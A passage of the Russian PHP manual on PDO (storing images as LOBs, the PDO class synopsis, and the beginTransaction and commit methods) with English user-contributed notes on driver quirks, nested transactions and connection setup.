$stmt->fetch(PDO::FETCH_BOUND);

header("Content-Type: $type");
fpassthru($lob);
?>

Пример #2 Вставка изображения в базу данных

В этом примере будет открывается файл с изображением, его файловый указатель передаётся PDO, который в свою очередь вставляет изображение в базу в виде LOB. PDO извлечёт содержимое файла и поместит его в базу наиболее эффективным способом.

<?php
$db = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2');
$stmt = $db->prepare("insert into images (id, contenttype, imagedata) values (?, ?, ?)");
$id = get_new_id(); // какая-то функция для выделения нового ID

// предположим, что мы находимся на странице загрузки файлов на удалённый сервер

$fp = fopen($_FILES['file']['tmp_name'], 'rb');

$stmt->bindParam(1, $id);
$stmt->bindParam(2, $_FILES['file']['type']);
$stmt->bindParam(3, $fp, PDO::PARAM_LOB);

$db->beginTransaction();
$stmt->execute();
$db->commit();
?>

Пример #3 Вставка изображения в базу данных: Oracle

В случае с базами Oracle требуется несколько иной синтаксис для извлечения содержимого файла и помещения в базу. Также необходимо выполнять вставку в рамках транзакции, иначе вставленный LOB будет зафиксирован в базе с нулевой длиной, так как если не обозначить границы транзакции, изменения будут фиксироваться после каждого выполненного запроса.

<?php
$db = new PDO('oci:', 'scott', 'tiger');
$stmt = $db->prepare("insert into images (id, contenttype, imagedata) " .
"VALUES (?, ?, EMPTY_BLOB()) RETURNING imagedata INTO ?");
$id = get_new_id(); // какая-то функция для выделения ID

// предположим, что мы находимся на странице загрузки файлов на удалённый сервер

$fp = fopen($_FILES['file']['tmp_name'], 'rb');

$stmt->bindParam(1, $id);
$stmt->bindParam(2, $_FILES['file']['type']);
$stmt->bindParam(3, $fp, PDO::PARAM_LOB);

$db->beginTransaction();
$stmt->execute();
$db->commit();
?>

User Contributed Notes

phpcoder at gmail dot com 31-Oct-2018 11:34
The DBMSs that are listed above have these (default) limits on the maximum size of a char string. The maximum is given in bytes so the number of characters storable can be smaller if a multibyte encoding is used.

CUBRID:    16kB
SQL Server: 2GB
Firebird:  32kB
IBM Db2:   32kB
Informix:  32kB
MySQL:     16kB
Oracle:     2kB
PostgreSQL: 1GB
SQLite:     1 billion bytes
4D: Unknown, but LOBs are limited to 2GB.
ben dot leiting at gmail dot com 13-Jun-2016 05:56
For selecting data out of Postgres, the data type of the column in the table determined if the parameter bound with PARAM_LOB returned a string or returned a resource.

<?php

// create table log ( data text ) ;
$geth = $dbh->prepare('select data from log ');
$geth->execute();
$geth->bindColumn(1, $dataString, PDO::PARAM_LOB);
$geth->fetch(PDO::FETCH_BOUND);

echo ($dataString); // $dataString is a string

// create table log ( data bytea ) ;
$geth = $dbh->prepare('select data from log');
$geth->execute();
$geth->bindColumn(1, $dataFH, PDO::PARAM_LOB);
$geth->fetch(PDO::FETCH_BOUND);

fpassthru($dataFH); // $dataFH is a resource
xorinox at gmx dot ch 13-Jan-2011 11:11
I find it easier to use stream_get_contens to fetch the data of a lob using the file handle.

<?php
$stmt = $pdo->con->prepare( 'select * from filetable' );
$stmt->execute();
$res = $stmt->fetchAll( PDO::FETCH_ASSOC );

for( $i=0; $i<count($res); $i++ ){
  $filename = "C:/tmp/".$res[$i]['FILE_ID'].'.xml';
  $content = stream_get_contents( $res[$i]['DATA_FILE'] );
  file_put_contents( $filename, $content );
}
?>
Jeremy Cook 19-Feb-2010 01:31
There seems to be a bug that affects example 1 above. PDO::PARAM_LOB when used with pdo::bindColumn() is supposed to return a stream but it returns a string. Passing this string to fpassthru() then triggers an error with the message 'supplied argument is not a valid stream resource'. This has been reported in bug #40913. The work around is to do the following:

<?php
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);

header("Content-Type: $type");
echo($lob);
?>

Since the browser is expecting an image after the call to header() writing the string representation of the binary output with echo() has the same affect as calling fpassthru().
http://matts.org/ 28-Aug-2009 01:30
A big gotcha exists for Oracle users.

You have to save CLOB objects using PDO::PARAM_STR, not PDO::PARAM_LOB.

But you MUST send the 4th argument, usually strlen($subject) or you get a LONG error.
diogoko at gmail dot com 01-Apr-2009 09:33
PDOStatement's methods bindParam and bindValue also work with strings, as in:

<?php
  $data = file_get_contents($filename);
  $stmt->bindValue(1, $data, PDO::PARAM_LOB);
  //...
?>

This was the only way I could make it work with PostgreSQL.
knl at bitflop dot com 23-Sep-2008 12:07
I spend a lot of time trying to get this to work, but no matter what I did PDO corrupted my data.

I finally discovered that I had been using:

$pdo->exec('SET CHARACTER SET utf8');

in the TRY part of my connection script.

This off course doesn't work when you feed binary input to PDO using the parameter lob.


Класс PDO

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

Введение

Представляет соединение между PHP и сервером базы данных.

Обзор классов

class PDO {
/* Константы */
public const int PARAM_NULL;
public const int PARAM_BOOL = 5;
public const int PARAM_INT = 1;
public const int PARAM_STR = 2;
public const int PARAM_LOB = 3;
public const int PARAM_STMT = 4;
public const int PARAM_INPUT_OUTPUT;
public const int PARAM_STR_NATL;
public const int PARAM_STR_CHAR;
public const int PARAM_EVT_ALLOC;
public const int PARAM_EVT_FREE;
public const int PARAM_EVT_EXEC_PRE;
public const int PARAM_EVT_EXEC_POST;
public const int PARAM_EVT_FETCH_PRE;
public const int PARAM_EVT_FETCH_POST;
public const int PARAM_EVT_NORMALIZE;
public const int FETCH_DEFAULT;
public const int FETCH_LAZY;
public const int FETCH_ASSOC;
public const int FETCH_NUM;
public const int FETCH_BOTH;
public const int FETCH_OBJ;
public const int FETCH_BOUND;
public const int FETCH_COLUMN;
public const int FETCH_CLASS;
public const int FETCH_INTO;
public const int FETCH_FUNC;
public const int FETCH_GROUP;
public const int FETCH_UNIQUE;
public const int FETCH_KEY_PAIR;
public const int FETCH_CLASSTYPE;
public const int FETCH_SERIALIZE;
public const int FETCH_PROPS_LATE;
public const int FETCH_NAMED;
public const int ATTR_AUTOCOMMIT;
public const int ATTR_PREFETCH;
public const int ATTR_TIMEOUT;
public const int ATTR_ERRMODE;
public const int ATTR_SERVER_VERSION;
public const int ATTR_CLIENT_VERSION;
public const int ATTR_SERVER_INFO;
public const int ATTR_CONNECTION_STATUS;
public const int ATTR_CASE;
public const int ATTR_CURSOR_NAME;
public const int ATTR_CURSOR;
public const int ATTR_ORACLE_NULLS;
public const int ATTR_PERSISTENT;
public const int ATTR_STATEMENT_CLASS;
public const int ATTR_FETCH_TABLE_NAMES;
public const int ATTR_FETCH_CATALOG_NAMES;
public const int ATTR_DRIVER_NAME;
public const int ATTR_STRINGIFY_FETCHES;
public const int ATTR_MAX_COLUMN_LEN;
public const int ATTR_EMULATE_PREPARES;
public const int ATTR_DEFAULT_FETCH_MODE;
public const int ATTR_DEFAULT_STR_PARAM;
public const int ERRMODE_SILENT;
public const int ERRMODE_WARNING;
public const int ERRMODE_EXCEPTION;
public const int CASE_NATURAL;
public const int CASE_LOWER;
public const int CASE_UPPER;
public const int NULL_NATURAL;
public const int NULL_EMPTY_STRING;
public const int NULL_TO_STRING;
public const string ERR_NONE;
public const int FETCH_ORI_NEXT;
public const int FETCH_ORI_PRIOR;
public const int FETCH_ORI_FIRST;
public const int FETCH_ORI_LAST;
public const int FETCH_ORI_ABS;
public const int FETCH_ORI_REL;
public const int CURSOR_FWDONLY;
public const int CURSOR_SCROLL;
/* Методы */
public __construct(
string $dsn,
?string $username = null,
?string $password = null,
?array $options = null
)
public beginTransaction(): bool
public commit(): bool
public errorCode(): ?string
public errorInfo(): array
public exec(string $statement): int|false
public getAttribute(int $attribute): mixed
public static getAvailableDrivers(): array
public inTransaction(): bool
public lastInsertId(?string $name = null): string|false
public prepare(string $query, array $options = []): PDOStatement|false
public query(string $query, ?int $fetchMode = null): PDOStatement|false
public query(string $query, ?int $fetchMode = PDO::FETCH_COLUMN, int $colno): PDOStatement|false
public query(
string $query,
?int $fetchMode = PDO::FETCH_CLASS,
string $classname,
array $constructorArgs
): PDOStatement|false
public query(string $query, ?int $fetchMode = PDO::FETCH_INTO, object $object): PDOStatement|false
public quote(string $string, int $type = PDO::PARAM_STR): string|false
public rollBack(): bool
public setAttribute(int $attribute, mixed $value): bool
}

Содержание

  • PDO::beginTransaction — Инициализация транзакции
  • PDO::commit — Фиксирует транзакцию
  • PDO::__construct — Создаёт экземпляр PDO, предоставляющий соединение с базой данных
  • PDO::errorCode — Возвращает код SQLSTATE результата последней операции с базой данных
  • PDO::errorInfo — Получает расширенную информацию об ошибке, произошедшей в ходе последнего обращения к базе данных
  • PDO::exec — Выполняет SQL-запрос и возвращает количество затронутых строк
  • PDO::getAttribute — Получить атрибут соединения с базой данных
  • PDO::getAvailableDrivers — Возвращает массив доступных драйверов PDO
  • PDO::inTransaction — Проверяет, начата ли транзакция
  • PDO::lastInsertId — Возвращает ID последней вставленной строки или значение последовательности
  • PDO::prepare — Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
  • PDO::query — Подготавливает и выполняет выражение SQL без заполнителей
  • PDO::quote — Заключает строку в кавычки для использования в запросе
  • PDO::rollBack — Откат транзакции
  • PDO::setAttribute — Установка атрибута

User Contributed Notes

Ale L 01-Nov-2018 06:17
1) Do not use your ddbb info in the same file

AND

2) DO NOT NEVER USE "All privileges user" for everything, always create an alternative user with restricted permissions (basic: SELECT, INSERT and so on)
sinri at everstray dot com 07-Dec-2017 03:38
For some Database Environment, such as Aliyun DRDS (Distributed Relational Database Service), cannot process preparing for SQL.
For such cases, the option `\PDO::ATTR_EMULATE_PREPARES` should be set to true. If you always got reports about "Failed to prepare SQL" while this option were set to false, you might try to turn on this option to emulate prepares for SQL.
Anonymous 30-Aug-2017 08:05
I personnaly create a new instance of PDO like this :

$dbDatas = parse_ini_file( DB_FILE );
 $dbOptions = [
 \PDO::ATTR_DEFAULT_FECTH_MODE => \PDO::FETCH_OBJ,
 \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION
 ];

 $dsn = sprintf( 'mysql:dbname=%s;host=%s', $dbDatas['dbname'],
$dbDatas['host'] );

 $this->cn = new \PDO( $dsn, $dbDatas['user'], $dbDatas['password'],
$dbOptions );
 $this->cn->exec( 'SET CHARACTER SET UTF8' );
thz at plista dot com 14-Jun-2013 01:25
Starting with PHP 5.4 you are unable to use persistent connections when you have your own database class derived from the native PDO class. If your code uses this combination, you will encounter segmentation faults during the cleanup of the PHP process.
You can still use _either_ a derived PDO class _or_ persistent connections.

For more information, please see this bug report: https://bugs.php.net/bug.php?id=63176
williambarry007 at gmail dot com 12-Oct-2011 01:10
PDO and Dependency Injection

Dependency injection is good for testing.  But for anyone wanting various data mapper objects to have a database connection, dependency injection can make other model code very messy because database objects have to be instantiated all over the place and given to the data mapper objects.

The code below is a good way to maintain dependency injection while keeping clean and minimal model code.

<?php

class DataMapper
{
    public static $db;

    public static function init($db)
    {
        self::$db = $db;
    }
}

class VendorMapper extends DataMapper
{
    public static function add($vendor)
    {
        $st = self::$db->prepare(
            "insert into vendors set
            first_name = :first_name,
            last_name = :last_name"
        );
        $st->execute(array(
            ':first_name' => $vendor->first_name,
            ':last_name' => $vendor->last_name
        ));
    }
}

// In your bootstrap
$db = new PDO(...);
DataMapper::init($db);

// In your model logic
$vendor = new Vendor('John', 'Doe');
VendorMapper::add($vendor);

?>
kcleung at kcleung dot no-ip dot org 02-May-2010 03:47
Here is an singleton PDO example:

###### config.ini ######
db_driver=mysql
db_user=root
db_password=924892xp

[dsn]
host=localhost
port=3306
dbname=localhost

[db_options]
PDO::MYSQL_ATTR_INIT_COMMAND=set names utf8

[db_attributes]
ATTR_ERRMODE=ERRMODE_EXCEPTION
############

<?php class Database {
    private static $link = null ;

    private static function getLink ( ) {
        if ( self :: $link ) {
            return self :: $link ;
        }

        $ini = _BASE_DIR . "config.ini" ;
        $parse = parse_ini_file ( $ini , true ) ;

        $driver = $parse [ "db_driver" ] ;
        $dsn = "${driver}:" ;
        $user = $parse [ "db_user" ] ;
        $password = $parse [ "db_password" ] ;
        $options = $parse [ "db_options" ] ;
        $attributes = $parse [ "db_attributes" ] ;

        foreach ( $parse [ "dsn" ] as $k => $v ) {
            $dsn .= "${k}=${v};" ;
        }

        self :: $link = new PDO ( $dsn, $user, $password, $options ) ;

        foreach ( $attributes as $k => $v ) {
            self :: $link -> setAttribute ( constant ( "PDO::{$k}" )
                , constant ( "PDO::{$v}" ) ) ;
        }

        return self :: $link ;
    }

    public static function __callStatic ( $name, $args ) {
        $callback = array ( self :: getLink ( ), $name ) ;
        return call_user_func_array ( $callback , $args ) ;
    }
} ?>

<?php // examples
$stmt = Database :: prepare ( "SELECT 'something' ;" ) ;
$stmt -> execute ( ) ;
var_dump ( $stmt -> fetchAll ( ) ) ;
$stmt -> closeCursor ( ) ;
?>
Megaloman 18-Feb-2009 07:03
"And storing username/password inside class is not a very good idea for production code."

Good idea is to store database connection settings in *.ini files but you have to restrict access to them. For example this way:

my_setting.ini:
[database]
driver = mysql
host = localhost
;port = 3306
schema = db_schema
username = user
password = secret

Database connection:
<?php
class MyPDO extends PDO
{
    public function __construct($file = 'my_setting.ini')
    {
        if (!$settings = parse_ini_file($file, TRUE)) throw new exception('Unable to open ' . $file . '.');

        $dns = $settings['database']['driver'] .
        ':host=' . $settings['database']['host'] .
        ((!empty($settings['database']['port'])) ? (';port=' . $settings['database']['port']) : '') .
        ';dbname=' . $settings['database']['schema'];

        parent::__construct($dns, $settings['database']['username'], $settings['database']['password']);
    }
}
?>

Database connection parameters are accessible via human readable ini file for those who screams even if they see one PHP/HTML/any_other command.
anrdaemon at freemail dot ru 22-Aug-2008 01:16
Keep in mind, you MUST NOT use 'root' user in your applications, unless your application designed to do a database maintenance.

And storing username/password inside class is not a very good idea for production code. You would need to edit the actual working code to change settings, which is bad.


Инициализация транзакции

  • « PDO
  • PDO::commit »
  • PHP Manual
  • PDO
  • Инициализация транзакции

PDO::beginTransaction

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::beginTransaction — Инициализация транзакции

Описание

public PDO::beginTransaction(): bool

Выключает режим автоматической фиксации транзакции. В то время как режим автоматической фиксации выключен, изменения, внесённые в базу данных через объект экземпляра PDO, не применяются, пока вы не завершите транзакцию, вызвав PDO::commit(). Вызов PDO::rollBack() откатит все изменения в базе данных и вернёт соединение к режиму автоматической фиксации.

Некоторые базы данных, включая MySQL, автоматически выполняют неявную фиксацию, когда выражения языка описания данных (DDL), такие как DROP TABLE или CREATE TABLE, находятся внутри транзакции. Неявная фиксация предотвратит вам откат любых изменений, сделанных в этой транзакции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выбрасывает PDOException, если транзакция уже стартовала, либо если драйвер не поддерживает транзакции.

Замечание: Исключение будет вызвано, даже если атрибут PDO::ATTR_ERRMODE не выставлен в PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Откат транзакции

Следующий пример начинает транзакцию и выполняет два выражения, что изменяет базу данных до отката изменений. В MySQL, тем не менее, выражение DROP TABLE автоматически фиксирует транзакцию так, что ни одно из изменений транзакции не откатывается.

<?php
/* Начало транзакции, отключение автоматической фиксации */
$dbh->beginTransaction();

/* Изменение схемы базы данных и данных */
$sth = $dbh->exec("DROP TABLE fruit");
$sth = $dbh->exec("UPDATE dessert
SET name = 'hamburger'");

/* Распознаем ошибку и откатываем изменения */
$dbh->rollBack();

/* Соединение с базой данных снова в режиме автоматической фиксации */
?>

Смотрите также

  • PDO::commit() - Фиксирует транзакцию
  • PDO::rollBack() - Откат транзакции
  • Транзакции и автоматическая фиксация

User Contributed Notes

Sbastien 18-Sep-2021 12:34
A way to use transaction and prepared statement to speed-up bulk INSERTs :

<?php

// ...

$insert = $pdo->prepare('INSERT INTO table (c1, c2, c3) VALUES (?, ?, ?)');
$bulk = 3_000; // To adjust according to your data/system
$rows = 0;

$pdo->beginTransaction();
while ($entry = fgetcsv($fp)) {
    $insert->execute($entry);
    if (++$rows % $bulk === 0) {
        $pdo->commit();
        $pdo->beginTransaction();
    }
}
if ($pdo->inTransaction()) { // Remaining rows insertion
    $pdo->commit();
}
sasi dot viragelet at gmail dot com 17-Nov-2016 09:29
When transaction gets your enemy:

try {

$pdo->beginTransaction();

// ... whatever db actions you have and then:

$sql_insert = 'INSERT INTO a (a_id, a_name, a_date)
  VALUES (:a_id, :a_name CURRENT_TIMESTAMP)';

  $stmt = $pdo->prepare($sql_insert);

  $stmt->bindValue(':_id', $id);
  $stmt->bindValue(':a_name', $name);

  $stmt->execute();

  $pdo->commit();

} catch (\PDOException $e) {

  $pdo->rollBack();

  http_response_code(500);
  header("Content-type: text/plain");
  echo $e;
  exit();

}

Notice the sytax error? There's a missing comma that just slips through every gate of surveillance:

"...UES (:a_id, :a_name CURR..." :: between the to be binded value and current timestamp command. The missing comma will not generate any error no syntax error, no database error. Though this record will never or partially make it. This will just silently fail. The story gets rough if you build your other dependencies on the transactions unmovable foot-stones of trust.

Just imagine you have some basic records in your transaction that you really wanna ensure ends up correctly in your db. And these records have a foreign constraint relation with another record. (That of course if you'd include in the transaction would throw you a big red error(-for who don't get it: transaction will first attempt to write everything into a temporary place, where it will get checked before everything gets into its permanent place, so constraints cannot be checked for something that don't exist yet.)) So you have a constraint that's based on the trust PDO will throw an error if something gets screwed, so what, you'll just place that insertion after the commit was successful. (Without any doublecheck.)

What happens you will get some partial records in your database without a relation that just might be important. You will that way be able to build up very sophisticated strange behaviours in your application. So pay attention!
cristian at crishk dot com 01-Oct-2016 10:12
OK I'm finding a solution for "NESTED" transactions in MySQL, and as you know in the MySQL documentation says that it's not possible to have transactions within transactions. I was trying to use the Database class propossed here in http://php.net/manual/en/pdo.begintransaction.php but unfortunately that's wrong for many things related to the control flow that I have been solved with the following code (LOOK THE EXAMPLE AT THE END, CarOwner)

<?php

class TransactionController extends \\PDO {
    public static $warn_rollback_was_thrown = false;
    public static $transaction_rollbacked = false;
    public function __construct()
    {
        parent :: __construct( ... connection info ... );
    }
    public static $nest = 0;
    public function reset()
    {
        TransactionController :: $transaction_rollbacked = false;
        TransactionController :: $warn_rollback_was_thrown = false;
        TransactionController :: $nest = 0;
    }
    function beginTransaction()
    {
        $result = null;
        if (TransactionController :: $nest == 0) {
            $this->reset();
            $result = $this->beginTransaction();
        }
        TransactionController :: $nest++;
        return $result;
    }

    public function commit()
    {

        $result = null;

        if (TransactionController :: $nest == 0 &&
                !TransactionController :: $transaction_rollbacked &&
                !TransactionController :: $warn_rollback_was_thrown) {
                    $result = parent :: commit();
                }
                TransactionController :: $nest--;
                return $result;
    }

    public function rollback()
    {
        $result = null;
        if (TransactionController :: $nest >= 0) {
            if (TransactionController :: $nest == 0) {
                $result = parent :: rollback();
                TransactionController :: $transaction_rollbacked = true;
            }
            else {
                TransactionController  :: $warn_rollback_was_thrown = true;
            }
        }
        TransactionController :: $nest--;
        return $result;
    }

    public function transactionFailed()
    {
        return TransactionController :: $warn_rollback_was_thrown === true;
    }
    // to force rollback you can only do it from $nest = 0
    public function forceRollback()
    {
        if (TransactionController :: $nest === 0) {
            throws new \PDOException();
        }
    }
}

?>
kesler dot alwin at gmail dot com 05-Apr-2016 01:35
please fix in answer #116669:

    $this->exec('ROLLBACK TO trans'.$this->transactionCounter + 1);

with

    $this->exec('ROLLBACK TO trans'.($this->transactionCounter + 1));
steve at fancyguy dot com 08-Feb-2015 08:34
The nested transaction example here is great, but it's missing a key piece of the puzzle.  Commits will commit everything, I only wanted commits to actually commit when the outermost commit has been completed.  This can be done in InnoDB with savepoints.

<?php

class Database extends PDO
{

    protected $transactionCount = 0;

    public function beginTransaction()
    {
        if (!$this->transactionCounter++) {
            return parent::beginTransaction();
        }
        $this->exec('SAVEPOINT trans'.$this->transactionCounter);
        return $this->transactionCounter >= 0;
    }

    public function commit()
    {
        if (!--$this->transactionCounter) {
            return parent::commit();
        }
        return $this->transactionCounter >= 0;
    }

    public function rollback()
    {
        if (--$this->transactionCounter) {
            $this->exec('ROLLBACK TO trans'.$this->transactionCounter + 1);
            return true;
        }
        return parent::rollback();
    }

}
Steel Brain 03-Dec-2014 12:39
The example is misleading, Typically data definition language clauses (DDL) will trigger the database engine to automatically commit. It means that if you drop a table, that query will be executed regardless of the transaction.
Ref-Mysql:
    http://dev.mysql.com/doc/refman/5.0/en/implicit-commit.html
eddi13 28-Nov-2014 09:16
after TRUNCATE TABLE `table`  just as DELETE FROM `table`, so if whole table was deleted, aborts the transaction. And the rollback will not be passible.
arth dot inbox at mail dot ru 07-Apr-2014 08:53
Strange behavior with pdo_firebird driver:

<?php
$dbh = new PDO ('','','',array( PDO :: ATTR_PERSISTENT=>true));
$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION );
$dbh -> exec ( "select 1;" ); //should be autocommitted
try
{
   //$dbh->commit/rollback here fixes the issue;
   $dbh -> beginTransaction (); // <- fails "with there is already an active transaction"
   $dbh -> exec ( "select 1;" );
   $dbh -> commit ();
}
catch ( Exception $e )
{
  $dbh -> rollBack ();
 }
?>
mtjo62 at gmail dot com 03-Nov-2013 11:22
For the PDO driver for the  Firebird server, you have to explicitly disable autocommit to initiate the  transaction as well as explicitly enable autocommit to commit it.

$dbh->setAttribute( PDO::ATTR_AUTOCOMMIT, 0 );
$dbh->beginTransaction();

/** Query block */

$dbh->commit();
$dbh->setAttribute( PDO::ATTR_AUTOCOMMIT, 1 );
bitluni 16-Aug-2012 09:27
You can generate problems with nested beginTransaction and commit calls.
example:

beginTransaction()
do imprortant stuff
call method
    beginTransaction()
    basic stuff 1
    basic stuff 2
    commit()
do most important stuff
commit()

Won't work and is dangerous since you could close your transaction too early with the nested commit().

There is no need to mess you code and pass like a bool which indicate if transaction is already running. You could just overload the beginTransaction() and commit() in your PDO wrapper like this:

<?php
class Database extends \\PDO
{
    protected $transactionCounter = 0;
    function beginTransaction()
    {
        if(!$this->transactionCounter++)
            return parent::beginTransaction();
       return $this->transactionCounter >= 0;
    }

    function commit()
    {
       if(!--$this->transactionCounter)
           return parent::commit();
       return $this->transactionCounter >= 0;
    }

    function rollback()
    {
        if($this->transactionCounter >= 0)
        {
            $this->transactionCounter = 0;
            return parent::rollback();
        }
        $this->transactionCounter = 0;
        return false;
    }
//...
}
?>
ludwig dot green at gmail dot com 08-Jun-2010 09:23
be aware that you also can not use TRUNCATE TABLE as this statement will trigger a commit just like CREATE TABLE or DROP TABLE

it is best to only use SELECT, UPDATE and DELETE within a transaction, all other statements may cause commits thus breaking the atomicity of your transactions and their ability to rollback

obviously you can use DELETE FROM <table> instead of TRUNCATE TABLE but be aware that there are differences between both statements, for example TRUNCATE resets the auto_increment value while DELETE does not.
geompse at gmail dot com 28-Dec-2009 01:58
With Oracle, any structure statement will do an implicit commit.

So : ALTER TABLE "my_table" DROP COLUMN "my_column";
Can't be rolled back !

Hope this will save time for others
rjohnson at intepro dot us 11-Apr-2009 02:27
If you are using PDO::SQLITE and need to support a high level of concurrency with locking, try preparing your statements prior to calling beginTransaction() and you may also need to call closeCursor() on SELECT statements to prevent the driver from thinking that there are open transactions.

Here's an example (Windows, PHP version 5.2.8).  We test this by opening 2 browser tabs to this script and running them at the same time.  If we put the beginTransaction before the prepare, the second browser tab would hit the catch block and the commit would throw another PDOException indicating that transactions were still open.

<?php
$conn = new PDO('sqlite:C:\path\to\file.sqlite');
$stmt = $conn->prepare('INSERT INTO my_table(my_id, my_value) VALUES(?, ?)');
$waiting = true; // Set a loop condition to test for
while($waiting) {
    try {
        $conn->beginTransaction();
        for($i=0; $i < 10; $i++) {
            $stmt->bindValue(1, $i, PDO::PARAM_INT);
            $stmt->bindValue(2, 'TEST', PDO::PARAM_STR);
            $stmt->execute();
            sleep(1);
        }
        $conn->commit();
        $waiting = false;
    } catch(PDOException $e) {
        if(stripos($e->getMessage(), 'DATABASE IS LOCKED') !== false) {
            // This should be specific to SQLite, sleep for 0.25 seconds
            // and try again.  We do have to commit the open transaction first though
            $conn->commit();
            usleep(250000);
        } else {
            $conn->rollBack();
            throw $e;
        }
    }
}

?>
dbeecher at tekops dot com 20-Aug-2008 09:21
// If you need to set an ISOLATION level or LOCK MODE it needs to be done BEFORE you make the BeginTransaction() call...
//
//  **note** you should always check result codes on operations and do error handling.  This sample code
//  assumes all the calls work so that the order of operations is accurate and easy to see
//
//  THIS IS using the PECL PDO::INFORMIX module, running on fedora core 6, php 5.2.4
//
//    This is the correct way to address an informix -243 error (could not position within table) when there
//    is no ISAM error indicating a table corruption.  A -243 can happen (if the table/indexes, etc., are ok)
//    if a row is locked.  The code below sets the LOCK MODE to wait 2 minutes (120 seconds) before
//    giving up.  In this example you get READ COMMITTED rows, if you don't need read committed
//    but just need to get whatever data is there (ignoring locked rows, etc.) instead of
//    "SET LOCK MODE TO WAIT 120" you could "SET ISOLATION TO DIRTY READ".
//
//    In informix you *must* manage how you do reads because it is very easy to trigger a
//    lock table overflow (which downs the instance) if you have lots of rows, are using joins
//    and have many updates happening.
//

// e.g.,

$sql= "SELECT FIRST 50 * FROM mytable WHERE mystuff=1 ORDER BY myid";                    /* define SQL query */

try                                                                                /* create an exception handler */
    {
    $dbh = new PDO("informix:host=......");

    if ($dbh)    /* did we connect? */
        {
        $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $dbh->query("SET LOCK MODE TO WAIT 120")

        # ----------------
        # open transaction cursor
        # ----------------
        if    ( $dbh->beginTransaction() )                                         # explicitly open cursor
            {
            try    /* open exception handler */
                {
                $stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));

                $stmt->execute();

                while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_NEXT))
                    {
                    $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\t" . $row[3] . "\t" . $row[4] . "\t" . $row[5] . "\t" . $row[6] . "\t" . $row[7] . "\n" . $row[8] ;
                    //print $data;
                    print_r($row);
                    };

                $stmt = null;
                }
            catch (PDOException $e)
                {
                print "Query Failed!\n\n";

                print "DBA FAIL:" . $e->getMessage();
                };

            $dbh->rollback();                                                       # abort any changes (ie. $dbh->commit()
            $dbh = null;                                                            # close connection
            }
        else
            {
            # we should never get here, it should go to the exception handler
            print "Unable to establish connection...\n\n";
            };
        };
    }
catch (Exception $e)
    {
    $dbh->rollback();
    echo "Failed: " . $e->getMessage();
    };
drm at melp dot nl 11-Feb-2008 06:37
In response to "Anonymous / 20-Dec-2007 03:04"

You could also extend the PDO class and hold a private flag to check if a transaction is already started.

class MyPDO extends PDO {
   protected $hasActiveTransaction = false;

   function beginTransaction () {
      if ( $this->hasActiveTransaction ) {
         return false;
      } else {
         $this->hasActiveTransaction = parent::beginTransaction ();
         return $this->hasActiveTransaction;
      }
   }

   function commit () {
      parent::commit ();
      $this->hasActiveTransaction = false;
   }

   function rollback () {
      parent::rollback ();
      $this->hasActiveTransaction = false;
   }

}
Anonymous 20-Dec-2007 07:04
beginTransaction will through a PDOException if you execute it while a PDO transaction is already active.  Additionally the PDO engine doesn't seem to provide any way of determining if there is a transaction "in flight" so if you might be calling a function from within another function that starts a transaction you'll have to wrap the beginTransaction () call in a try .. catch block.


Фиксирует транзакцию

  • « PDO::beginTransaction
  • PDO::__construct »
  • PHP Manual
  • PDO
  • Фиксирует транзакцию

PDO::commit

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::commit — Фиксирует транзакцию

Описание

public PDO::commit(): bool

Фиксирует транзакцию, возвращая соединение с базой данных в режим автоматической фиксации до тех пор, пока следующий вызов PDO::beginTransaction() не начнёт новую транзакцию.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Вызывает исключение PDOException, если нет активной транзакции.

Замечание: Исключение будет вызвано, даже если атрибут PDO::ATTR_ERRMODE не выставлен в PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Фиксация обычной транзакции

<?php
/* Начало транзакции, отключение автоматической фиксации */
$dbh->beginTransaction();

/* Вставка множества записей по принципу "все или ничего" */
$sql = 'INSERT INTO fruit
(name, colour, calories)
VALUES (?, ?, ?)';

$sth = $dbh->prepare($sql);

foreach ($fruits as $fruit) {
$sth->execute(array(
$fruit->name,
$fruit->colour,
$fruit->calories,
));
}

/* Фиксация изменений */
$dbh->commit();

/* Соединение с базой данных снова в режиме автоматической фиксации */
?>

Пример #2 Фиксация DDL-транзакции

<?php
/* Начало транзакции, отключение автоматической фиксации */
$dbh->beginTransaction();

/* Изменение схемы базы данных */
$sth = $dbh->exec("DROP TABLE fruit");

/* Фиксация изменений */
$dbh->commit();

/* Соединение с базой данных снова в режиме автоматической фиксации */
?>

Замечание: Не все базы данных позволяют транзакциям работать с DDL-выражениями: в некоторых генерируются ошибки, тогда как в других (включая MySQL) транзакция автоматически фиксируется после первого встретившегося DDL-выражения.

Смотрите также

  • PDO::beginTransaction() - Инициализация транзакции
  • PDO::rollBack() - Откат транзакции
  • Транзакции и автоматическая фиксация

User Contributed Notes

re_action 03-Mar-2015 12:52
Keep in mind this bug: https://bugs.php.net/bug.php?id=66528

you could not rely on commit() return value while using MySql


Создаёт экземпляр PDO, предоставляющий соединение с базой данных

  • « PDO::commit
  • PDO::errorCode »
  • PHP Manual
  • PDO
  • Создаёт экземпляр PDO, предоставляющий соединение с базой данных

PDO::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::__construct — Создаёт экземпляр PDO, предоставляющий соединение с базой данных

Описание

public PDO::__construct(
